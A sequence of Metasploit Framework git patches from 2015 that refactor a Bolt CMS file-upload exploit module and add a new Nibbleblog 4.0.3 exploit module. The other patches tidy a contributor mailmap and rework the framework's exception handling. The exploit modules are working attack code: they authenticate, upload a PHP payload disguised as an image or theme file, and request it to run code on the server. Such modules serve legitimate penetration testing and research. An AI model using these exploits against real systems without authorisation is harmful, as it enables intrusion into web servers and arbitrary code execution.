Add fail_with method and other improvements --- .../exploits/unix/webapp/bolt_file_upload.rb | 89 ++++++++----------- 1 file changed, 38 insertions(+), 51 deletions(-) diff --git a/modules/exploits/unix/webapp/bolt_file_upload.rb b/modules/exploits/unix/webapp/bolt_file_upload.rb index 3fb9133ed1..06142e7bc5 100644 --- a/modules/exploits/unix/webapp/bolt_file_upload.rb +++ b/modules/exploits/unix/webapp/bolt_file_upload.rb @@ -39,15 +39,17 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('USERNAME', [true, 'The username to authenticate with']), - OptString.new('PASSWORD', [true, 'The password to authenticate with']) + OptString.new('TARGETURI', [true, 'The base path to the web application', '/']), + OptString.new('FOLDERNAME', [true, 'The theme path to web application (base-2014 is default)', 'base-2014']), + OptString.new('USERNAME', [true, 'The username to authenticate with']), + OptString.new('PASSWORD', [true, 'The password to authenticate with']) ], self.class) end def check res = send_request_cgi( 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'bolt', 'bolt', 'login') + 'uri' => normalize_uri(target_uri.path, 'bolt', 'login') ) if res && res.code == 200 && res.body.include?('Cookies are required to log on to Bolt') @@ -64,22 +66,23 @@ class Metasploit3 < Msf::Exploit::Remote datastore['PASSWORD'] end + def fname + datastore['FOLDERNAME'] + end + def bolt_login(user, pass) res = send_request_cgi( 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'bolt', 'bolt', 'login') + 'uri' => normalize_uri(target_uri.path, 'bolt', 'login') ) - unless res - print_error("#{peer} - No response from server.") - return - end + fail_with(Failure::Unreachable, 'No response received from the target.') unless res session_cookie = res.get_cookies vprint_status("#{peer} - Logging in...") res = send_request_cgi( 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'bolt', 'bolt', 'login'), + 'uri' => normalize_uri(target_uri.path, 'bolt', 'login'), 'cookie' => session_cookie, 'vars_post' => { 'username' => user, @@ -88,16 +91,14 @@ class Metasploit3 < Msf::Exploit::Remote } ) - if res && res.code == 302 && res.redirection.to_s.include?('/bolt/bolt') - return res.get_cookies - end + return res.get_cookies if res && res.code == 302 && res.redirection.to_s.include?('/bolt') nil end - def get_token(cookie) + def get_token(cookie, fname) res = send_request_cgi( 'method' => 'GET', - 'uri' => normalize_uri(target_uri, 'bolt', 'bolt', 'files', 'theme', 'base-2014'), + 'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname), 'cookie' => cookie ) @@ -107,39 +108,32 @@ class Metasploit3 < Msf::Exploit::Remote nil end - def rename_payload(cookie, payload) + def rename_payload(cookie, payload, fname) res = send_request_cgi( 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'bolt', 'async', 'renamefile'), + 'uri' => normalize_uri(target_uri.path, 'async', 'renamefile'), 'vars_post' => { 'namespace' => 'theme', - 'parent' => 'base-2014', + 'parent' => fname, 'oldname' => "#{payload}.png", 'newname' => "#{payload}.php" }, 'cookie' => cookie ) - if res && res.code == 200 - return true - end + return true if res && res.code == 200 && res.body.include?('1') nil end def exploit - vprint_status("#{peer} - Authenticating using #{username}:#{password}...") + vprint_status("#{peer} - Authenticating using #{username}:#{password}") + cookie = bolt_login(username, password) - if cookie.nil? - print_error("#{peer} - Failed to authenticate with Bolt") - return - end + fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil? vprint_good("#{peer} - Authenticated with Bolt.") - token = get_token(cookie) - if token.nil? - print_error("#{peer} - No token found.") - return - end + token = get_token(cookie, fname) + fail_with(Failure::Unknown, 'No token found.') if token.nil? vprint_good("#{peer} - Token \"#{token}\" found.") vprint_status("#{peer} - Preparing payload...") @@ -153,34 +147,27 @@ class Metasploit3 < Msf::Exploit::Remote vprint_status("#{peer} - Uploading payload...") res = send_request_cgi( 'method' => 'POST', - 'uri' => normalize_uri(target_uri, 'bolt', 'bolt', 'files', 'theme', 'base-2014'), + 'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data, 'cookie' => cookie ) - if res && res.code == 302 - vprint_good("#{peer} - Uploaded the payload") + fail_with(Failure::Unknown, 'Unable to upload payload.') unless res && res.code == 302 + vprint_good("#{peer} - Uploaded the payload.") - rename = rename_payload(cookie, payload_name) - if rename.nil? - vprint_error("#{peer} - No renamed filename") - return - end + rename = rename_payload(cookie, payload_name, fname) + fail_with(Failure::Unknown, 'No renamed filename.') if rename.nil? - php_file_name = "#{payload_name}.php" - payload_url = normalize_uri(target_uri.path, 'bolt', 'theme', 'base-2014', php_file_name) - vprint_good("#{peer} - Parsed response") + php_file_name = "#{payload_name}.php" + payload_url = normalize_uri(target_uri.path, 'theme', fname, php_file_name) + vprint_status("#{peer} - Parsed response.") - register_files_for_cleanup(php_file_name) - vprint_status("#{peer} - Executing the payload at #{payload_url}") - send_request_cgi( - 'uri' => payload_url, - 'method' => 'GET' - ) - vprint_good("#{peer} - Executed payload") - else - print_error("#{peer} - Exploit failed. Aborting.") - end + register_files_for_cleanup(php_file_name) + vprint_status("#{peer} - Executing the payload at #{payload_url}.") + send_request_cgi( + 'uri' => payload_url, + 'method' => 'GET' + ) end end From 2800ecae07c54f10008b22bb3cc23f12b41c509e Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Wed, 9 Sep 2015 01:21:08 -0300 Subject: [PATCH 0597/2172] Fix alignment. --- modules/exploits/unix/webapp/bolt_file_upload.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/exploits/unix/webapp/bolt_file_upload.rb b/modules/exploits/unix/webapp/bolt_file_upload.rb index 06142e7bc5..322df8afc4 100644 --- a/modules/exploits/unix/webapp/bolt_file_upload.rb +++ b/modules/exploits/unix/webapp/bolt_file_upload.rb @@ -97,9 +97,9 @@ class Metasploit3 < Msf::Exploit::Remote def get_token(cookie, fname) res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname), - 'cookie' => cookie + 'method' => 'GET', + 'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname), + 'cookie' => cookie ) if res && res.code == 200 && res.body =~ / name="form\[_token\]" value="(.+)" / @@ -110,8 +110,8 @@ class Metasploit3 < Msf::Exploit::Remote def rename_payload(cookie, payload, fname) res = send_request_cgi( - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'async', 'renamefile'), + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'async', 'renamefile'), 'vars_post' => { 'namespace' => 'theme', 'parent' => fname, From 439e65aab9d56ea74ca8ba953be90e0c30229d10 Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Wed, 9 Sep 2015 08:42:15 -0500 Subject: [PATCH 0598/2172] Clean up .mailmap Addresses without names cover all names for that address. --- .mailmap | 41 +++++++++++++++++++---------------------- 1 file changed, 19 insertions(+), 22 deletions(-) diff --git a/.mailmap b/.mailmap index af8cddbb90..a0301196b8 100644 --- a/.mailmap +++ b/.mailmap @@ -1,4 +1,5 @@ bcook-r7 <bcook-r7@github> Brent Cook <bcook@rapid7.com> +bcook-r7 <bcook-r7@github> <busterb@gmail.com> bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com> ccatalan-r7 <ccatalan-r7@github> Christian Catalan <ccatalan@rapid7.com> cdoughty-r7 <cdoughty-r7@github> Chris Doughty <chris_doughty@rapid7.com> @@ -11,9 +12,8 @@ farias-r7 <farias-r7@github> Fernando Arias <fernando_arias@rapid7.com> hmoore-r7 <hmoore-r7@github> HD Moore <hd_moore@rapid7.com> hmoore-r7 <hmoore-r7@github> HD Moore <hdm@digitaloffense.net> jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com> -jlee-r7 <jlee-r7@github> James Lee <James_Lee@rapid7.com> -jlee-r7 <jlee-r7@github> James Lee <egypt@metasploit.com> # aka egypt -jlee-r7 <jlee-r7@github> egypt <egypt@metasploit.com> # aka egypt +jlee-r7 <jlee-r7@github> <james_lee@rapid7.com> +jlee-r7 <jlee-r7@github> <egypt@metasploit.com> # aka egypt jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan.vazquez@metasploit.com> jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan_vazquez@rapid7.com> kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com> @@ -37,9 +37,8 @@ todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com> todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com> trosen-r7 <trosen-r7@github> Trevor Rosen <Trevor_Rosen@rapid7.com> trosen-r7 <trosen-r7@github> Trevor Rosen <trevor@catapult-creative.com> -wchen-r7 <wchen-r7@github> Wei Chen <Wei_Chen@rapid7.com> -wchen-r7 <wchen-r7@github> sinn3r <msfsinn3r@gmail.com> # aka sinn3r -wchen-r7 <wchen-r7@github> sinn3r <wei_chen@rapid7.com> +wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r +wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com> wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com> wvu-r7 <wvu-r7@github> William Vu <wvu@metasploit.com> wvu-r7 <wvu-r7@github> William Vu <wvu@nmt.edu> @@ -73,18 +72,18 @@ efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com> efraintorres <efraintorres@github> et <> fab <fab@???> fab <> # fab at revhosts.net (Fabrice MOURRON) FireFart <FireFart@github> Christian Mehlmauer <firefart@gmail.com> +FireFart <FireFart@github> <FireFart@users.noreply.github.com> h0ng10 <h0ng10@github> h0ng10 <hansmartin.muench@googlemail.com> h0ng10 <h0ng10@github> Hans-Martin Münch <hansmartin.muench@googlemail.com> -jcran <jcran@github> Jonathan Cran <jcran@0x0e.org> -jcran <jcran@github> Jonathan Cran <jcran@rapid7.com> -jduck <jduck@github> Joshua Drake <github.jdrake@qoop.org> +jcran <jcran@github> <jcran@pwnieexpress.com> +jcran <jcran@github> <jcran@pentestify.com> +jcran <jcran@github> <jcran@0x0e.org> +jcran <jcran@github> <jcran@rapid7.com> +jduck <jduck@github> <github.jdrake@qoop.org> +jduck <jduck@github> <jdrake@qoop.org> jgor <jgor@github> jgor <jgor@indiecom.org> -joevennix <joevennix@github> joe <joev@metasploit.com> -joevennix <joevennix@github> Joe Vennix <Joe_Vennix@rapid7.com> -joevennix <joevennix@github> Joe Vennix <joev@metasploit.com> -joevennix <joevennix@github> joev <joev@metasploit.com> -joevennix <joevennix@github> jvennix-r7 <Joe_Vennix@rapid7.com> -joevennix <joevennix@github> jvennix-r7 <joev@metasploit.com> +joevennix <joevennix@github> <Joe_Vennix@rapid7.com> +joevennix <joevennix@github> <joev@metasploit.com> kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@kernelsmith.com> kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@metasploit.com> kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith> @@ -94,18 +93,17 @@ m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de> m-1-k-3 <m-1-k-3@github> m-1-k-3 <m1k3@s3cur1ty.de> m-1-k-3 <m-1-k-3@github> m-1-k-3 <michael.messner@integralis.com> m-1-k-3 <m-1-k-3@github> Michael Messner <devnull@s3cur1ty.de> -Meatballs1 <Meatballs1@github> Ben Campbell <eat_meatballs@hotmail.co.uk> -Meatballs1 <Meatballs1@github> Meatballs <eat_meatballs@hotmail.co.uk> -Meatballs1 <Meatballs1@github> Meatballs1 <eat_meatballs@hotmail.co.uk> +Meatballs1 <Meatballs1@github> <eat_meatballs@hotmail.co.uk> +Meatballs1 <Meatballs1@github> <Meatballs1@users.noreply.github.com> mubix <mubix@github> Rob Fuller <jd.mubix@gmail.com> nevdull77 <nevdull77@github> Patrik Karlsson <patrik@cqure.net> nmonkee <nmonkee@github> nmonkee <dave@northern-monkee.co.uk> nullbind <nullbind@github> nullbind <scott.sutherland@nullbind.com> nullbind <nullbind@github> Scott Sutherland <scott.sutherland@nullbind.com> ohdae <ohdae@github> ohdae <bindshell@live.com> -oj <oj@github> OJ <oj@buffered.io> -oj <oj@github> OJ Reeves <oj@buffered.io> +oj <oj@github> <oj@buffered.io> r3dy <r3dy@github> Royce Davis <r3dy@Royces-MacBook-Pro.local> +r3dy <r3dy@github> Royce Davis <rdavis@Royces-MacBook-Pro-2.local> r3dy <r3dy@github> Royce Davis <royce.e.davis@gmail.com> Rick Flores <0xnanoquetz9l@gmail.com> Rick Flores (nanotechz9l) <0xnanoquetz9l@gmail.com> rsmudge <rsmudge@github> Raphael Mudge <rsmudge@gmail.com> # Aka `butane @@ -116,8 +114,7 @@ skape <skape@???> Matt Miller <mmiller@hick.org> spoonm <spoonm@github> Spoon M <spoonm@gmail.com> swtornio <swtornio@github> Steve Tornio <swtornio@gmail.com> Tasos Laskos <Tasos_Laskos@rapid7.com> Tasos Laskos <Tasos_Laskos@rapid7.com> -timwr <timwr@github> Tim <timrlw@gmail.com> -timwr <timwr@github> Tim Wright <timrlw@gmail.com> +timwr <timwr@github> <timrlw@gmail.com> TomSellers <TomSellers@github> Tom Sellers <tom@fadedcode.net> TrustedSec <davek@trustedsec.com> trustedsec <davek@trustedsec.com> zeroSteiner <zeroSteiner@github> Spencer McIntyre <zeroSteiner@gmail.com> From d3aa61d6a061c6c46d6b40d64c5c27580c23d895 Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Wed, 9 Sep 2015 13:41:44 -0300 Subject: [PATCH 0599/2172] Move bolt_file_upload.rb to exploits/multi/http --- modules/exploits/{unix/webapp => multi/http}/bolt_file_upload.rb | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/{unix/webapp => multi/http}/bolt_file_upload.rb (100%) diff --git a/modules/exploits/unix/webapp/bolt_file_upload.rb b/modules/exploits/multi/http/bolt_file_upload.rb similarity index 100% rename from modules/exploits/unix/webapp/bolt_file_upload.rb rename to modules/exploits/multi/http/bolt_file_upload.rb From e88a14aee6c0c5f840960a25c1ed4f7b88c445a5 Mon Sep 17 00:00:00 2001 From: Fernando Arias <fernando_arias@rapid7.com> Date: Wed, 9 Sep 2015 11:51:18 -0500 Subject: [PATCH 0600/2172] Rework exception handler for exploit simple MSP-13233 --- lib/msf/base/simple/exploit.rb | 89 ++++++++++++++++++++++++++++++++++ lib/msf/core/exploit_driver.rb | 89 ++-------------------------------- 2 files changed, 94 insertions(+), 84 deletions(-) diff --git a/lib/msf/base/simple/exploit.rb b/lib/msf/base/simple/exploit.rb index 389b336ed8..8955cb74d2 100644 --- a/lib/msf/base/simple/exploit.rb +++ b/lib/msf/base/simple/exploit.rb @@ -154,6 +154,95 @@ module Exploit nil end + + def setup_fail_detail_from_exception e + # Build a user-friendly error message + msg = "#{e}" + unless e.class == Msf::Exploit::Failed + msg = "#{e.class} #{e}" + end + + self.error = e + + # Record the detailed reason + self.exploit.fail_detail ||= e.to_s + msg + end + + # + # Handle the exception + # + def handle_exception e + msg = setup_fail_detail_from_exception e + + require 'pry' + binding.pry + + case e + when Msf::Exploit::Complete + # Nothing to show in this case + return + + when Msf::Exploit::Failed + self.print_error("Exploit aborted due to failure: #{self.fail_reason}: #{msg}") + + # The caller should have already set self.fail_reason + if self.fail_reason == Msf::Exploit::Failure::None + self.fail_reason = Msf::Exploit::Failure::Unknown + end + + when Rex::ConnectionError + self.fail_reason = Msf::Exploit::Failure::Unreachable + self.print_error("Exploit failed [#{self.fail_reason}]: #{msg}") + elog("Exploit failed (#{self.refname}): #{msg}", 'core', LEV_0) + dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3) + + when Timeout::Error + self.fail_reason = Msf::Exploit::Failure::TimeoutExpired + self.print_error("Exploit failed [#{self.fail_reason}]: #{msg}") + elog("Exploit failed (#{self.refname}): #{msg}", 'core', LEV_0) + dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3) + else + + # Compare as a string since not all error classes may be loaded + case msg + when /access.denied|Login Failed/i # Covers SMB as well as some generic errors + self.fail_reason = Msf::Exploit::Failure::NoAccess + when /connection reset/i + self.fail_reason = Msf::Exploit::Failure::Disconnected + when /connection timed out|SSL_connect|unreachable|connection was refused/i + self.fail_reason = Msf::Exploit::Failure::Unreachable + when /unable.*target/i + self.fail_reason = Msf::Exploit::Failure::NoTarget + when /execution expired/i + self.fail_reason = Msf::Exploit::Failure::TimeoutExpired + when /(doesn.t|not).*vulnerable|may.*patched/i + self.fail_reason = Msf::Exploit::Failure::NotVulnerable + end + + # The caller should have already set self.fail_reason + if self.fail_reason == Msf::Exploit::Failure::None + self.fail_reason = Msf::Exploit::Failure::Unknown + end + + if self.fail_reason == Msf::Exploit::Failure::Unknown + self.print_error("Exploit failed: #{msg}") + else + self.print_error("Exploit failed [#{self.fail_reason}]: #{msg}") + end + + elog("Exploit failed (#{self.refname}): #{msg}", 'core', LEV_0) + dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3) + end + + + + # Record the error to various places + self.framework.events.on_module_error(self, msg) + + # Report the failure (and attempt) in the database + self.report_failure + end # # Calls the class method. # diff --git a/lib/msf/core/exploit_driver.rb b/lib/msf/core/exploit_driver.rb index 66e8f9e4e8..4be621a9e5 100644 --- a/lib/msf/core/exploit_driver.rb +++ b/lib/msf/core/exploit_driver.rb @@ -113,7 +113,6 @@ class ExploitDriver # - Cleans up the handler # def run - # First thing's first -- validate the state. Make sure all requirement # parameters are set, including those that are derived from the # datastore. @@ -164,6 +163,7 @@ class ExploitDriver # nothing should be able to modify their datastore or other # settings until after they're done. ctx = [ exploit, payload ] + job_run_proc(ctx) job_cleanup_proc(ctx) end @@ -187,18 +187,15 @@ class ExploitDriver protected - - # # Job run proc, sets up the exploit and kicks it off. # def job_run_proc(ctx) - # Default session wait time.. - delay = payload.wfs_delay + exploit.wfs_delay - delay = nil if exploit.passive? - begin exploit, payload = ctx + # Default session wait time.. + delay = payload.wfs_delay + exploit.wfs_delay + delay = nil if exploit.passive? # Set the exploit up the bomb exploit.setup @@ -208,88 +205,12 @@ protected # Launch the exploit exploit.exploit - - rescue ::Exception => e - if [::RuntimeError, ::Interrupt].include?(e.class) # Wait for session, but don't wait long. delay = 0.01 end - - # Build a user-friendly error message - msg = "#{e}" - unless e.class == Msf::Exploit::Failed - msg = "#{e.class} #{e}" - end - - exploit.error = e - - # Record the detailed reason - exploit.fail_detail ||= e.to_s - - case e - when Msf::Exploit::Complete - # Nothing to show in this case - return - - when Msf::Exploit::Failed - exploit.print_error("Exploit aborted due to failure: #{exploit.fail_reason}: #{msg}") - - # The caller should have already set exploit.fail_reason - if exploit.fail_reason == Msf::Exploit::Failure::None - exploit.fail_reason = Msf::Exploit::Failure::Unknown - end - - when Rex::ConnectionError - exploit.fail_reason = Msf::Exploit::Failure::Unreachable - exploit.print_error("Exploit failed [#{exploit.fail_reason}]: #{msg}") - elog("Exploit failed (#{exploit.refname}): #{msg}", 'core', LEV_0) - dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3) - - when Timeout::Error - exploit.fail_reason = Msf::Exploit::Failure::TimeoutExpired - exploit.print_error("Exploit failed [#{exploit.fail_reason}]: #{msg}") - elog("Exploit failed (#{exploit.refname}): #{msg}", 'core', LEV_0) - dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3) - else - - # Compare as a string since not all error classes may be loaded - case msg - when /access.denied|Login Failed/i # Covers SMB as well as some generic errors - exploit.fail_reason = Msf::Exploit::Failure::NoAccess - when /connection reset/i - exploit.fail_reason = Msf::Exploit::Failure::Disconnected - when /connection timed out|SSL_connect|unreachable|connection was refused/i - exploit.fail_reason = Msf::Exploit::Failure::Unreachable - when /unable.*target/i - exploit.fail_reason = Msf::Exploit::Failure::NoTarget - when /execution expired/i - exploit.fail_reason = Msf::Exploit::Failure::TimeoutExpired - when /(doesn.t|not).*vulnerable|may.*patched/i - exploit.fail_reason = Msf::Exploit::Failure::NotVulnerable - end - - # The caller should have already set exploit.fail_reason - if exploit.fail_reason == Msf::Exploit::Failure::None - exploit.fail_reason = Msf::Exploit::Failure::Unknown - end - - if exploit.fail_reason == Msf::Exploit::Failure::Unknown - exploit.print_error("Exploit failed: #{msg}") - else - exploit.print_error("Exploit failed [#{exploit.fail_reason}]: #{msg}") - end - - elog("Exploit failed (#{exploit.refname}): #{msg}", 'core', LEV_0) - dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3) - end - - # Record the error to various places - exploit.framework.events.on_module_error(exploit, msg) - - # Report the failure (and attempt) in the database - exploit.report_failure + exploit.handle_exception e end # Wait the payload to acquire a session if this isn't a passive-style From 0bb03db78604ebe43fda5bca75a0ce4e842539b5 Mon Sep 17 00:00:00 2001 From: Fernando Arias <fernando_arias@rapid7.com> Date: Wed, 9 Sep 2015 13:21:05 -0500 Subject: [PATCH 0601/2172] Rework vuln lookup logic to account for vuln with no service (nexpose import vuln with -1 port) MSP-13234 --- lib/msf/base/simple/exploit.rb | 7 +------ lib/msf/core/db_manager/exploit_attempt.rb | 1 + lib/msf/core/db_manager/vuln.rb | 3 ++- lib/msf/core/exploit.rb | 2 +- 4 files changed, 5 insertions(+), 8 deletions(-) diff --git a/lib/msf/base/simple/exploit.rb b/lib/msf/base/simple/exploit.rb index 8955cb74d2..afc2ec23d7 100644 --- a/lib/msf/base/simple/exploit.rb +++ b/lib/msf/base/simple/exploit.rb @@ -165,7 +165,7 @@ module Exploit self.error = e # Record the detailed reason - self.exploit.fail_detail ||= e.to_s + self.fail_detail ||= e.to_s msg end @@ -175,9 +175,6 @@ module Exploit def handle_exception e msg = setup_fail_detail_from_exception e - require 'pry' - binding.pry - case e when Msf::Exploit::Complete # Nothing to show in this case @@ -235,8 +232,6 @@ module Exploit dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3) end - - # Record the error to various places self.framework.events.on_module_error(self, msg) diff --git a/lib/msf/core/db_manager/exploit_attempt.rb b/lib/msf/core/db_manager/exploit_attempt.rb index 025c4c81ab..36c99012f7 100644 --- a/lib/msf/core/db_manager/exploit_attempt.rb +++ b/lib/msf/core/db_manager/exploit_attempt.rb @@ -119,6 +119,7 @@ module Msf::DBManager::ExploitAttempt username = opts[:username] mname = opts[:module] + if vuln.nil? ref_names = mrefs.map { |ref| if ref.respond_to?(:ctx_id) and ref.respond_to?(:ctx_val) diff --git a/lib/msf/core/db_manager/vuln.rb b/lib/msf/core/db_manager/vuln.rb index 8251f3ff10..0aabdba686 100644 --- a/lib/msf/core/db_manager/vuln.rb +++ b/lib/msf/core/db_manager/vuln.rb @@ -46,7 +46,8 @@ module Msf::DBManager::Vuln def find_vuln_by_refs(refs, host, service=nil) ref_ids = refs.find_all { |ref| ref.name.starts_with? 'CVE-'} - host.vulns.includes(:refs).where(service_id: service.try(:id), refs: { id: ref_ids}).first + relation = host.vulns.includes(:refs) + relation.where(service_id: service.try(:id), refs: { id: ref_ids}).first || relation.where(refs: { id: ref_ids}).first end def get_vuln(wspace, host, service, name, data='') diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index 81311255c0..41d6bea30d 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -1260,7 +1260,6 @@ class Exploit < Msf::Module end def report_failure - return unless framework.db and framework.db.active info = { @@ -1293,6 +1292,7 @@ class Exploit < Msf::Module ) end + framework.db.report_exploit_failure(info) end From 6336301df31dec1d6f90d29336575f44569a052a Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Wed, 9 Sep 2015 21:05:36 -0300 Subject: [PATCH 0602/2172] Add Nibbleblog File Upload Vulnerability --- .../multi/http/nibbleblog_file_upload.rb | 143 ++++++++++++++++++ 1 file changed, 143 insertions(+) create mode 100644 modules/exploits/multi/http/nibbleblog_file_upload.rb diff --git a/modules/exploits/multi/http/nibbleblog_file_upload.rb b/modules/exploits/multi/http/nibbleblog_file_upload.rb new file mode 100644 index 0000000000..3048fc848d --- /dev/null +++ b/modules/exploits/multi/http/nibbleblog_file_upload.rb @@ -0,0 +1,143 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Nibbleblog File Upload Vulnerability', + 'Description' => %q{ + Nibbleblog contains a flaw that allows a authenticated remote + attacker to execute arbitrary PHP code. This module was + tested on version 4.0.3. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'To do', # Vulnerability Disclosure + 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module + ], + 'References' => + [ + ['URL', 'http://blog.curesec.com/article/blog/NibbleBlog-403-Code-Execution-47.html'] + ], + 'DisclosureDate' => 'Sep 01 2015', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['Nibbleblog 4.0.3', {}]], + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to the web application', '/']), + OptString.new('USERNAME', [true, 'The username to authenticate with']), + OptString.new('PASSWORD', [true, 'The password to authenticate with']) + ], self.class) + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin.php') + ) + + if res && res.code == 200 && res.body.include?('Sign in to Nibbleblog admin area') + return Exploit::CheckCode::Appears + end + Exploit::CheckCode::Safe + end + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + + def do_login(user, pass) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin.php') + ) + + fail_with(Failure::Unreachable, 'No response received from the target.') unless res + + session_cookie = res.get_cookies + vprint_status("#{peer} - Logging in...") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin.php'), + 'cookie' => session_cookie, + 'vars_post' => { + 'username' => user, + 'password' => pass + } + ) + + return session_cookie if res && res.code == 302 && res.headers['Location'] + nil + end + + def exploit + vprint_status("#{peer} - Authenticating using #{username}:#{password}") + + cookie = do_login(username, password) + fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil? + vprint_good("#{peer} - Authenticated with Nibbleblog.") + + vprint_status("#{peer} - Preparing payload...") + payload_name = "#{Rex::Text.rand_text_alpha_lower(10)}.php" + + data = Rex::MIME::Message.new + data.add_part('my_image', nil, nil, 'form-data; name="plugin"') + data.add_part('My image', nil, nil, 'form-data; name="title"') + data.add_part('4', nil, nil, 'form-data; name="position"') + data.add_part('', nil, nil, 'form-data; name="caption"') + data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"image\"; filename=\"#{payload_name}\"") + data.add_part('1', nil, nil, 'form-data; name="image_resize"') + data.add_part('230', nil, nil, 'form-data; name="image_width"') + data.add_part('200', nil, nil, 'form-data; name="image_height"') + data.add_part('auto', nil, nil, 'form-data; name="image_option"') + post_data = data.to_s + + vprint_status("#{peer} - Uploading payload...") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri, 'admin.php'), + 'vars_get' => { + 'controller' => 'plugins', + 'action' => 'config', + 'plugin' => 'my_image' + }, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data, + 'cookie' => cookie + ) + + fail_with(Failure::Unknown, 'Unable to upload payload.') unless res && res.code == 200 && + (res.body.include?('<b>Warning</b>') || res.body.include?('warn')) + vprint_good("#{peer} - Uploaded the payload.") + + php_fname = 'image.php' + payload_url = normalize_uri(target_uri.path, 'content', 'private', 'plugins', 'my_image', php_fname) + vprint_status("#{peer} - Parsed response.") + + register_files_for_cleanup(php_fname) + vprint_status("#{peer} - Executing the payload at #{payload_url}.") + send_request_cgi( + 'uri' => payload_url, + 'method' => 'GET' + ) + end +end From 4e31dd4e9f9f728b19334cb5e41ff8310ef9daa3 Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Wed, 9 Sep 2015 21:13:51 -0300 Subject: [PATCH 0603/2172] Add curesec team as vuln discovery. --- modules/exploits/multi/http/nibbleblog_file_upload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/nibbleblog_file_upload.rb b/modules/exploits/multi/http/nibbleblog_file_upload.rb index 3048fc848d..53bc9cb2f5 100644 --- a/modules/exploits/multi/http/nibbleblog_file_upload.rb +++ b/modules/exploits/multi/http/nibbleblog_file_upload.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ - 'To do', # Vulnerability Disclosure + 'Unknown', # Vulnerability Disclosure - Curesec Research Team. Author's name? 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module ], 'References' => From bc3f5b43abf998d4c0af167b117a87d74535fb60 Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Wed, 9 Sep 2015 21:26:15 -0300 Subject: [PATCH 0604/2172] Removerd WordPress mixin. --- modules/exploits/multi/http/bolt_file_upload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/bolt_file_upload.rb b/modules/exploits/multi/http/bolt_file_upload.rb index 322df8afc4..df5b8a3df9 100644 --- a/modules/exploits/multi/http/bolt_file_upload.rb +++ b/modules/exploits/multi/http/bolt_file_upload.rb @@ -8,8 